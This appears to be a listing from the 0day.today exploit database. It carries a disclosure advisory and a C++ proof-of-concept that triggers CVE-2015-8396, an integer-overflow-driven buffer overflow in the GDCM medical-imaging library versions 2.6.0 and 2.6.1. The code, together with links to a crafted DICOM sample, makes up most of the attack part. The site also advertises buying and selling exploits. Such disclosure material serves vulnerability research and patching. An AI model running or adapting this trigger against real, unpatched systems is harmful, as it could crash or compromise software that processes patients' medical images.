0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Grassroots DICOM (GDCM) 2.6.0 and 2.6.1 - ImageRegionReader::ReadIntoBuffer Buffer Overflow
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
/* Grassroots DICOM (GDCM) is a C++ library for processing DICOM medical images. It provides routines to view and manipulate a wide range of image formats and can be accessed through many popular programming languages like Python, C#, Java and PHP. GDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone to an integer overflow vulnerability which leads to a buffer overflow and potentially to remote code execution. The vulnerability is triggered by the exposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies DICOM image data to a buffer. ReadIntoBuffer checks whether the supplied buffer is large enough to hold the necessary data, however in this check it fails to detect the occurrence of an integer overflow, which leads to a buffer overflow later on in the code. The buffer overflow will occur regardless of the size of the buffer supplied to the ReadIntoBuffer call. More information about this vulnerability can be found at http://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/ The GDCM project has released version 2.6.2 that addresses this issue. It is advised to upgrade all GDCM installations to the latest stable release. Disclosure Timeline ------------------- CVE assignment: December 2nd, 2015 Vendor Contact: December 4th, 2015 Vendor Patch Release: December 23rd, 2015 Public Advisory: January 11th, 2016 */ #include "gdcmReader.h" #include "gdcmImageReader.h" #include "gdcmImageRegionReader.h" #include "gdcmBoxRegion.h" #include "gdcmImageHelper.h" #include <iostream> using namespace std; /* * A simple demonstration of CVE-2015-8396 * by Stelios Tsampas (stelios at census-labs.com) * based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html * * Compiles with: * $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED * * Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2 * https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39229.zip * $ bzip2 -d CVE-2015-8396.dcm.bz2 * $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm */ int main(int argc, char *argv []) { char buffer[2048 * 2047]; gdcm::ImageRegionReader reader; gdcm::BoxRegion box; if (argc < 2) { cout << "Usage: example <input-file>\n"; return 1; } const char *filename = argv[1]; reader.SetFileName(filename); if (!reader.ReadInformation()) { cout << "No info from file\n"; return 1; } std::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile()); cout << "x: " << dims[0] << ", y: " << dims[1] << ", z: " << dims[2] << "\n"; box.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1); reader.SetRegion(box); reader.ReadIntoBuffer(buffer, sizeof(buffer)); return 0; } # 0day.today [2024-11-16] #